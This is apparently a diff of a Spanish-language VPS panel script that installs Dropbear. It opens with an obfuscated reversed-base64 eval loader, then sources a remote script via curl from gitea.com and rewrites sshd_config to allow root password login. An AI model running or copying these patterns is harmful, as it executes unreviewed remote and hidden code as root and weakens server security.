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 | r";ewsenkyepmDFxQALawxuBNEZXqOtAQMRmgcfYnUvOUrtaiwprCEELhLQYDwgWWTBmwIKxJnQiBFUtHoFpCHFfRJUiTqyHGfZFPIw="nfjwVXeVJZubtPUSRcUTAYcAdOgiwhqshwiabHnpiYTrJhDLmxgjNXjlKNSkhQgTyytzsoawlcozwgDzoniEMNQBuanzvjNFUkHx";vTCampphzfrCBRMDpOLvxPYEoVmEFUpCmLwkVmQESZXVlUtjhDpoSEpRmpjuSPxxuQTDyNIImftlYHaFnEuwRHHJMgkqmEuxhMGV="";gAPAmflADtNEqjmahrRfMZsWfAXPdfsmmuRcJKGIFynxjieAqgLQzYRXtcsyVRBaJkjWYMVabkXHnRFpeAlrULjmzNLebNlTAEkZ="as";dVbagNIZKXBbvpNiWFfYOhHEhfHfwDknHeuBaqMQozfqjKJjqDlYgNhmmzpyQGRuQkHBBJheHciYNffJJdCkjaQHywwyjQGJZShg="wgxOuGfrVXCEuDGTVgjGJqUEQDwBSwSnoLZHxNdEPsunoPhsAOxxEpWRQvRvlvBZNXCHAlsBCfNRskpEaLXCOBGABfaBCKfNZsXk";iwkdhWSpDXcqgsYOdpoNgJiAEhQrMyknqZLkfAVPVEaapQEiPrOlSBdbFWsTVDwjCNMTtHDBJfOWHOfzkGMYKzoIABobeiDBcKMm="JWuaLtktbWRCDKfMvXGyaHYaGTdpekwXiGvAsZTHuakGDhBVkEWEbLAoZhadlriJSlHyBPZaPimieaHcaRGiuExgvDaNojDLlIHE";zwbCNtngCpJqhORCQSqbnXWJPdDnxNyJBLZhJuzrHsVmYWVAEwlSqaPWRnZAHdqlKCuQrpjDoSvUbZRFESGoDotBZSvfsKEPFRyR="o";PbUHlCwvYxgweTcLitxddYAnyICSdsDOLSNUAdNWRwVujapjZnsxnpejcThVoTBrnCsTbChbWywZawehcfehMhWIBTkFcVSXLGkn="6";TNYUbVrsYYVfxpXOpNtRYVzVirLfxHtILziQrrOtkhmfMzsShWtzpVVccAKfSMTlkpflMskUAGifGNhkGkdHPgGBJhiVLDCQpMUv="MQflEgPKNuzxVJOYyTelDHhrpFchzwBtEgKWmjOkaaKaCSDivMlylgQSkPAmNkDqLWoZdriIvGQRYbLuSFrNDYHuBwnHoXllHKpp";kBydRivsXhPgDRDIbvzAqHcrHWXTZVbPhBGgamdgsIIAeuvucPgJRanGSKpMtUqMhOBuZWnxnOSKVvJtNQpDZbdEDQxlJSdtCRAU=" -d";yFKygLoxSyvdCTnkhEgPTzkxEpiMdehKfhbapFCKIedpEUyQMJhaLvkrdxMLHIPGNOjETvfoOIJHMjyiAzCQRLXjvhrtvebwVeEI="BzbZJzndwxrVYRkeqZfvdPmjylsnKvNCXulXjcrpVGhYtSgqjGexLQyAIKCUJilcvpsTidWeNMddcBQZHrqwdPyEDYOGNXLMvjGS";cMEMWhhawmkWwCjaeNJoEFrRVxshesxpQDjUyJdGQsKZTyOgjxPdGAHRxYCRBZTSUYBznJCXBwxHInyzssTMyrKRhExijxjorayk="";bTkWhxfSDzUeSGZVdGutzzpMoJDthlyesyYbjinGvYCTLVmEMbUkhqfEBIabiqHqMIcAbirGqGqdNUIzGKGleIXcfbYjrYGVItvG="b";lTlMaeIWPUDNpNfMJLKciCkYBxBgOUvzcjeTdrpNOmDjlOdUliONbQiXjyQEUltgJyumbNyFICwDJTHGvFjFTtWCXgjITcoMiJsd="e";fuMbKEVKYXxOoiaDAdlKVITMAYSKzFewqMGFJsVmoMQhWNgBYkOFqKNRgyLHAzQfExqmohLmCjyOYfAWKeSiVjSQzadCvPehqsTQ="v |";Tx=Eds;tcdrXziryBZkchKbgKZJCINsTqkcBjTnpPaVJcOUYpnQTJrEyWyqVWvOsDMTHZIVupdujuPOOFNfTNJwDYLKspFOgpzgyCzGeODK="";vujxGPnmYAOTAzbGXNuqinqhVnXBnwAtMzjDdTnVqirlbfgKPkSMKVeNmjjnJEXzctBHrrUhgocHPGMRQdurNNhnfFuuCmoeAKNB=$(eval "$vTCampphzfrCBRMDpOLvxPYEoVmEFUpCmLwkVmQESZXVlUtjhDpoSEpRmpjuSPxxuQTDyNIImftlYHaFnEuwRHHJMgkqmEuxhMGV$lTlMaeIWPUDNpNfMJLKciCkYBxBgOUvzcjeTdrpNOmDjlOdUliONbQiXjyQEUltgJyumbNyFICwDJTHGvFjFTtWCXgjITcoMiJsd$pijZxaiwjpmXjiCMIZZjBHSsAEskbVtiQKOBpnvHsPCVbQTSYtbzjTUztMxRnGiRAwKoCXvojQogneSCBBXEoiJLwcKTwIibCyrq$QsODLqwEIHyEGvsbFXxhunLEKZjUHPrRaWplwannzmPMdaxdsXMMyOKtBRGRoyDibvTkvyQoSdyctGnfquSxfcgCOptYZeIrDPyA$zwbCNtngCpJqhORCQSqbnXWJPdDnxNyJBLZhJuzrHsVmYWVAEwlSqaPWRnZAHdqlKCuQrpjDoSvUbZRFESGoDotBZSvfsKEPFRyR$LgpWSLiUJFYRDZDIhjtqfnBesrLlzUOlTRMokRjslqnHWdxOeSWYGxpLJUDyKXAoGJIQgDFoEGtkcOVCMLhXdGDIXRyWFHNEUDCJ$lTlMaeIWPUDNpNfMJLKciCkYBxBgOUvzcjeTdrpNOmDjlOdUliONbQiXjyQEUltgJyumbNyFICwDJTHGvFjFTtWCXgjITcoMiJsd$fuMbKEVKYXxOoiaDAdlKVITMAYSKzFewqMGFJsVmoMQhWNgBYkOFqKNRgyLHAzQfExqmohLmCjyOYfAWKeSiVjSQzadCvPehqsTQ$vTCampphzfrCBRMDpOLvxPYEoVmEFUpCmLwkVmQESZXVlUtjhDpoSEpRmpjuSPxxuQTDyNIImftlYHaFnEuwRHHJMgkqmEuxhMGV$bTkWhxfSDzUeSGZVdGutzzpMoJDthlyesyYbjinGvYCTLVmEMbUkhqfEBIabiqHqMIcAbirGqGqdNUIzGKGleIXcfbYjrYGVItvG$tcdrXziryBZkchKbgKZJCINsTqkcBjTnpPaVJcOUYpnQTJrEyWyqVWvOsDMTHZIVupdujuPOOFNfTNJwDYLKspFOgpzgyCzGeODK$gAPAmflADtNEqjmahrRfMZsWfAXPdfsmmuRcJKGIFynxjieAqgLQzYRXtcsyVRBaJkjWYMVabkXHnRFpeAlrULjmzNLebNlTAEkZ$lTlMaeIWPUDNpNfMJLKciCkYBxBgOUvzcjeTdrpNOmDjlOdUliONbQiXjyQEUltgJyumbNyFICwDJTHGvFjFTtWCXgjITcoMiJsd$PbUHlCwvYxgweTcLitxddYAnyICSdsDOLSNUAdNWRwVujapjZnsxnpejcThVoTBrnCsTbChbWywZawehcfehMhWIBTkFcVSXLGkn$QsODLqwEIHyEGvsbFXxhunLEKZjUHPrRaWplwannzmPMdaxdsXMMyOKtBRGRoyDibvTkvyQoSdyctGnfquSxfcgCOptYZeIrDPyA$xOFLADFybNRqtIWElsIWGzPlBcBbeYkhviweHXcTCngkaWQkjyEwkyTWGzrHVMpjyhRwKRKJNwROvTUDYeyfoMUydGdOEbWSeAyn$kBydRivsXhPgDRDIbvzAqHcrHWXTZVbPhBGgamdgsIIAeuvucPgJRanGSKpMtUqMhOBuZWnxnOSKVvJtNQpDZbdEDQxlJSdtCRAU$tcdrXziryBZkchKbgKZJCINsTqkcBjTnpPaVJcOUYpnQTJrEyWyqVWvOsDMTHZIVupdujuPOOFNfTNJwDYLKspFOgpzgyCzGeODK");eval "$cMEMWhhawmkWwCjaeNJoEFrRVxshesxpQDjUyJdGQsKZTyOgjxPdGAHRxYCRBZTSUYBznJCXBwxHInyzssTMyrKRhExijxjorayk$vujxGPnmYAOTAzbGXNuqinqhVnXBnwAtMzjDdTnVqirlbfgKPkSMKVeNmjjnJEXzctBHrrUhgocHPGMRQdurNNhnfFuuCmoeAKNB$vTCampphzfrCBRMDpOLvxPYEoVmEFUpCmLwkVmQESZXVlUtjhDpoSEpRmpjuSPxxuQTDyNIImftlYHaFnEuwRHHJMgkqmEuxhMGV$QsODLqwEIHyEGvsbFXxhunLEKZjUHPrRaWplwannzmPMdaxdsXMMyOKtBRGRoyDibvTkvyQoSdyctGnfquSxfcgCOptYZeIrDPyA"
\ No newline at end of file
+
+#source /etc/scpdk1/cabecalho "ports_"
+#source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/msg-bar/msg)
+source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg)
+
+_SFTP="$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep apache2)"
+portFTP=$(echo -e "$_SFTP" |cut -d: -f2 | cut -d' ' -f1 | uniq)
+portFTP=$(echo ${portFTP} | sed 's/\s\+/,/g' | cut -d , -f1)
+
+function chekKEY {
+Key="$(cat /etc/cghkey)"
+}
+
+number_var () {
+unset var_number
+if (echo "$1" | egrep '[^0-9]' &> /dev/null); then
+echo -e "${cor[5]} SOLO NUMEROS!"
+else
+var_number="$1"
+fi
+}
+fun_bar () {
+comando="$1"
+_=$( $comando > /dev/null 2>&1 ) & > /dev/null
+pid=$!
+while [[ -d /proc/$pid ]]; do
+echo -ne " \033[1;33m["
+for((i=0; i<20; i++)); do
+echo -ne "\033[1;31m##"
+sleep 0.5
+done
+echo -ne "\033[1;33m]"
+sleep 1s
+echo ;tput cuu1 && tput dl1
+done
+echo -e " \033[1;33m[\033[1;31m########################################\033[1;33m] - \033[1;32m100%\033[0m"
+sleep 1s
+}
+sslkk (){
+sslports=`netstat -tunlp | grep stunnel | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssl.txt && echo | cat /tmp/ssl.txt | tr '\n' ' ' > /ADMcgh/sslports.txt && cat /ADMcgh/sslports.txt`;
+pt=$(netstat -nplt |grep 'sshd' | awk -F ":" NR==1{'print $2'} | cut -d " " -f 1)
+}
+#par=$(v2ray info | grep path |awk -F : '{print $4}')
+
+verif_ptrs() {
+ porta=$1
+ PT=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND" | grep "LISTEN")
+ for pton in $(echo -e "$PT" | cut -d: -f2 | cut -d' ' -f1 | uniq); do
+ svcs=$(echo -e "$PT" | grep -w "$pton" | awk '{print $1}' | uniq)
+ [[ "$porta" = "$pton" ]] && {
+ echo -e "\n\033[1;31mPUERTO \033[1;33m$porta \033[1;31mESTA EN USO POR \033[1;37m$svcs\033[0m"
+ sleep 0.5
+ return 0
+ }
+ done
+ }
+
+fun_log () {
+[[ -e /bin/ejecutar/sshd_config ]] && {
+####
+sysvar=$(cat -n /etc/issue |grep 1 |cut -d' ' -f6,7,8 |sed 's/1//' |sed 's/ //' | grep -o Ubuntu)
+[[ ! $(cat /etc/shells|grep "/bin/false") ]] || sed -i "s%/bin/false%filemancgh%g" /etc/shells
+[[ ! $(cat /etc/shells|grep "/usr/sbin/nologin") ]] || sed -i "s%/usr/sbin/nologin%filemancgh%g" /etc/shells
+sed -i "/filemancgh/d" /etc/shells
+echo "/bin/false" >> /etc/shells
+echo "/usr/sbin/nologin" >> /etc/shells
+[[ "$sysvar" != "" ]] && {
+echo -e "Port 22
+Protocol 2
+KeyRegenerationInterval 3600
+ServerKeyBits 1024
+SyslogFacility AUTH
+LogLevel INFO
+LoginGraceTime 120
+PermitRootLogin yes
+StrictModes yes
+RSAAuthentication yes
+PubkeyAuthentication yes
+IgnoreRhosts yes
+RhostsRSAAuthentication no
+HostbasedAuthentication no
+PermitEmptyPasswords no
+ChallengeResponseAuthentication no
+PasswordAuthentication yes
+X11Forwarding yes
+X11DisplayOffset 10
+PrintMotd no
+PrintLastLog yes
+TCPKeepAlive yes
+#UseLogin no
+AcceptEnv LANG LC_*
+Subsystem sftp /usr/lib/openssh/sftp-server
+UsePAM yes
+Banner /etc/bannerssh" > /etc/ssh/sshd_config
+} || {
+echo -e "Port 22
+Protocol 2
+KeyRegenerationInterval 3600
+ServerKeyBits 1024
+SyslogFacility AUTH
+LogLevel INFO
+LoginGraceTime 120
+PermitRootLogin yes
+StrictModes yes
+RSAAuthentication yes
+PubkeyAuthentication yes
+IgnoreRhosts yes
+RhostsRSAAuthentication no
+HostbasedAuthentication no
+PermitEmptyPasswords no
+ChallengeResponseAuthentication no
+PasswordAuthentication yes
+X11Forwarding yes
+X11DisplayOffset 10
+PrintMotd no
+PrintLastLog yes
+TCPKeepAlive yes
+#UseLogin no
+AcceptEnv LANG LC_*
+Subsystem sftp /usr/lib/openssh/sftp-server
+UsePAM yes
+Banner /etc/bannerssh" > /etc/ssh/sshd_config
+}
+} || {
+cp /etc/ssh/sshd_config /bin/ejecutar/sshd_config
+sysvar=$(cat -n /etc/issue |grep 1 |cut -d' ' -f6,7,8 |sed 's/1//' |sed 's/ //' | grep -o Ubuntu)
+[[ ! $(cat /etc/shells|grep "/bin/false") ]] || sed -i "s%/bin/false%filemancgh%g" /etc/shells
+[[ ! $(cat /etc/shells|grep "/usr/sbin/nologin") ]] || sed -i "s%/usr/sbin/nologin%filemancgh%g" /etc/shells
+sed -i "/filemancgh/d" /etc/shells
+echo "/bin/false" >> /etc/shells
+echo "/usr/sbin/nologin" >> /etc/shells
+[[ "$sysvar" != "" ]] && {
+echo -e "Port 22
+Protocol 2
+KeyRegenerationInterval 3600
+ServerKeyBits 1024
+SyslogFacility AUTH
+LogLevel INFO
+LoginGraceTime 120
+PermitRootLogin yes
+StrictModes yes
+RSAAuthentication yes
+PubkeyAuthentication yes
+IgnoreRhosts yes
+RhostsRSAAuthentication no
+HostbasedAuthentication no
+PermitEmptyPasswords no
+ChallengeResponseAuthentication no
+PasswordAuthentication yes
+X11Forwarding yes
+X11DisplayOffset 10
+PrintMotd no
+PrintLastLog yes
+TCPKeepAlive yes
+#UseLogin no
+AcceptEnv LANG LC_*
+Subsystem sftp /usr/lib/openssh/sftp-server
+UsePAM yes
+Banner /etc/bannerssh" > /etc/ssh/sshd_config
+} || {
+echo -e "Port 22
+Protocol 2
+KeyRegenerationInterval 3600
+ServerKeyBits 1024
+SyslogFacility AUTH
+LogLevel INFO
+LoginGraceTime 120
+PermitRootLogin yes
+StrictModes yes
+RSAAuthentication yes
+PubkeyAuthentication yes
+IgnoreRhosts yes
+RhostsRSAAuthentication no
+HostbasedAuthentication no
+PermitEmptyPasswords no
+ChallengeResponseAuthentication no
+PasswordAuthentication yes
+X11Forwarding yes
+X11DisplayOffset 10
+PrintMotd no
+PrintLastLog yes
+TCPKeepAlive yes
+#UseLogin no
+AcceptEnv LANG LC_*
+Subsystem sftp /usr/lib/openssh/sftp-server
+UsePAM yes
+Banner /etc/bannerssh" > /etc/ssh/sshd_config
+}
+}
+######################
+
+}
+
+
+ban_inex () {
+ban=$(cat < /etc/scpdk1/menu_credito | head -1)
+echo -e " "
+echo -e "BANNER INEXISTENTE - RECOMENDADO MODIFICAR TU BANNER"
+fun_bar
+credit=$(cat 🐉
' > /etc/bannerssh
+echo -e ''" $credit "'® | '"$credi"'
' >> /etc/bannerssh
+[[ -d /etc/dropbear ]] && {
+[[ -e /etc/bannerssh ]] && cat /etc/bannerssh > /etc/dropbear/banner
+} || {
+mkdir /etc/dropbear
+[[ -e /etc/bannerssh ]] && cat /etc/bannerssh > /etc/dropbear/banner
+}
+echo -e "\033[1;32mCambia Banner en ( * \033[1;33m Menu 1\033[1;32m *\033[1;33m opcion 6 \033[1;32m*\033[1;32m)"
+read -p "Presiona Enter para Continuar"
+clear&&clear
+dropbearuniversal
+}
+
+function dropbearuniversal(){
+echo "?? Preparando Instalacion, Espere un Momento"
+echo -ne "\033[1;31m[ ! ] RESOLVIENDO SSH -> DROPBEAR "
+(
+service dropbear stop 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne "\033[1;31m[ ! ] VERIFICANDO COMPATIBILIDAD DEL BANNER " && sleep 0.5s && echo -e "\033[1;32m [OK]"
+[[ -e /etc/bannerssh ]] && {
+####
+fun_log
+####
+echo " ?? Instalando Dropbear"
+fun_bar 'apt install dropbear -y'
+service dropbear stop 1> /dev/null 2> /dev/null
+msg -bar
+ while true; do
+ echo -ne "\033[1;37m"
+ echo -e " PUERTOS RECOMENDADOS A USAR ( 80/90/100/443 Default 143 )"
+ echo -e " "
+ read -p " PUERTO DROPBEAR : " puertodropbear -e -i "143"
+ tput cuu1 && tput dl1
+ PortDROP=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $puertodropbear`
+ [[ -n "$PortDROP" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$puertodropbear"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ unset puertodropbear
+ msg -bar
+ done
+msg -bar
+echo $puertodropbear > /etc/default/dadd
+echo -e 'NO_START=0' > /etc/default/dropbear
+echo -e '# the TCP port that Dropbear listens on' >> /etc/default/dropbear
+echo -e '#DROPBEAR_PORT=22' >> /etc/default/dropbear
+echo -e 'DROPBEAR_EXTRA_ARGS="-p '$puertodropbear'"' >> /etc/default/dropbear
+echo -e 'DROPBEAR_BANNER="/etc/dropbear/banner"' >> /etc/default/dropbear
+echo -e "DROPBEAR_RECEIVE_WINDOW=65536" >> /etc/default/dropbear
+[[ ! $(cat /etc/shells|grep "/bin/false") ]] || sed -i "s%/bin/false%filemancgh%g" /etc/shells
+[[ ! $(cat /etc/shells|grep "/usr/sbin/nologin") ]] || sed -i "s%/usr/sbin/nologin%filemancgh%g" /etc/shells
+sed -i "/filemancgh/d" /etc/shells
+echo "/bin/false" >> /etc/shells
+echo "/usr/sbin/nologin" >> /etc/shells
+[[ ! -e /etc/dropbear/banner ]] && touch /etc/dropbear/banner || cat /etc/bannerssh > /etc/dropbear/banner
+service dropbear restart 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /ADMcgh/dropbearports.txt && cat /ADMcgh/dropbearports.txt`;
+service sshd restart 1> /dev/null 2> /dev/null
